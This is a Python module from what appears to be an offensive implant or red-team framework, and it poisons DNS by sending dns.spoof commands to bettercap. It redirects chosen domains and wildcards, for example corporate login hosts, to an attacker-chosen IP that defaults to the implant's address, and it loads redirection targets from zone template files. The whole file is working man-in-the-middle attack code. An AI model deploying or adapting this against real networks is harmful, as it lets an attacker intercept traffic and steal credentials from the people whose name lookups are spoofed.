#!/usr/bin/env python3
"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.

Template-driven zone files are converted to bettercap dns.spoof.domains
format. Supports selective domain redirection and wildcard matching.
Zone templates live in templates/dns_zones/.
"""

import logging
import os
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger(__name__)


class DNSPoison(BaseModule):
    """DNS poisoning via bettercap dns.spoof module.

    Dependencies:
        - bettercap_mgr must be running.

    Configuration:
        domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
        target_ip: IP to redirect poisoned domains to (default: implant IP)
        zone_file: Path to zone template for selective redirection
    """

    name = "dns_poison"
    module_type = "active"
    priority = 200
    requires_root = True
    dependencies = ["bettercap_mgr"]

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._bettercap_mgr = None
        self._poisoning = False
        self._domains: Optional[str] = None
        self._target_ip: Optional[str] = None
        self._zone_dir = config.get(
            "zone_dir",
            os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
        )

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        self._bettercap_mgr = self.config.get("bettercap_mgr")
        if not self._bettercap_mgr:
            logger.error("DNSPoison requires bettercap_mgr reference in config")
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()

        self.state.set_module_status(self.name, "running", pid=self._pid)
        logger.info("DNSPoison module started (ready for poison commands)")

    def stop(self) -> None:
        if not self._running:
            return

        if self._poisoning:
            self.stop_poison()

        self._running = False
        self.state.set_module_status(self.name, "stopped")
        logger.info("DNSPoison module stopped")

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "poisoning": self._poisoning,
            "domains": self._domains,
            "target_ip": self._target_ip,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def poison(self, domains: str, target_ip: str) -> bool:
        """Enable DNS poisoning for specified domains.

        Args:
            domains: Comma-separated domains or wildcards
                     (e.g., "*.corp.local,login.example.com").
            target_ip: IP address to redirect poisoned domains to.

        Returns:
            True if DNS poisoning was enabled successfully.
        """
        if not self._running or not self._bettercap_mgr:
            logger.error("DNSPoison not started")
            return False

        try:
            self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
            self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
            self._bettercap_mgr.run_command("dns.spoof on")

            self._poisoning = True
            self._domains = domains
            self._target_ip = target_ip

            self.state.set(self.name, "domains", domains)
            self.state.set(self.name, "target_ip", target_ip)
            logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
            return True

        except Exception:
            logger.exception("Failed to enable DNS poisoning")
            return False

    def load_zone(self, zone_file: str) -> bool:
        """Load a zone template and apply DNS poisoning rules.

        Zone file format (one entry per line):
            domain.com  192.168.1.100
            *.corp.local  192.168.1.100
            # comments ignored

        Args:
            zone_file: Filename within the zone_dir (e.g., "selective.zone").

        Returns:
            True if zone was loaded and applied.
        """
        zone_path = os.path.join(self._zone_dir, zone_file)
        if not os.path.isfile(zone_path):
            logger.error("Zone file not found: %s", zone_path)
            return False

        try:
            domains = []
            target_ip = None

            with open(zone_path, "r") as f:
                for line in f:
                    line = line.strip()
                    if not line or line.startswith("#"):
                        continue
                    parts = line.split()
                    if len(parts) >= 2:
                        domains.append(parts[0])
                        # Use the last IP seen as target
                        target_ip = parts[1]
                    elif len(parts) == 1:
                        domains.append(parts[0])

            if not domains:
                logger.warning("Zone file %s contains no entries", zone_file)
                return False

            if not target_ip:
                target_ip = self.config.get("implant_ip", "127.0.0.1")

            return self.poison(",".join(domains), target_ip)

        except Exception:
            logger.exception("Failed to load zone file: %s", zone_file)
            return False

    def stop_poison(self) -> bool:
        """Disable DNS poisoning.

        Returns:
            True if DNS poisoning was stopped successfully.
        """
        if not self._bettercap_mgr:
            return False

        try:
            self._bettercap_mgr.run_command("dns.spoof off")
            self._poisoning = False
            self._domains = None
            self._target_ip = None

            self.state.set(self.name, "domains", "")
            self.state.set(self.name, "target_ip", "")
            logger.info("DNS poisoning disabled")
            return True

        except Exception:
            logger.exception("Failed to disable DNS poisoning")
            return False
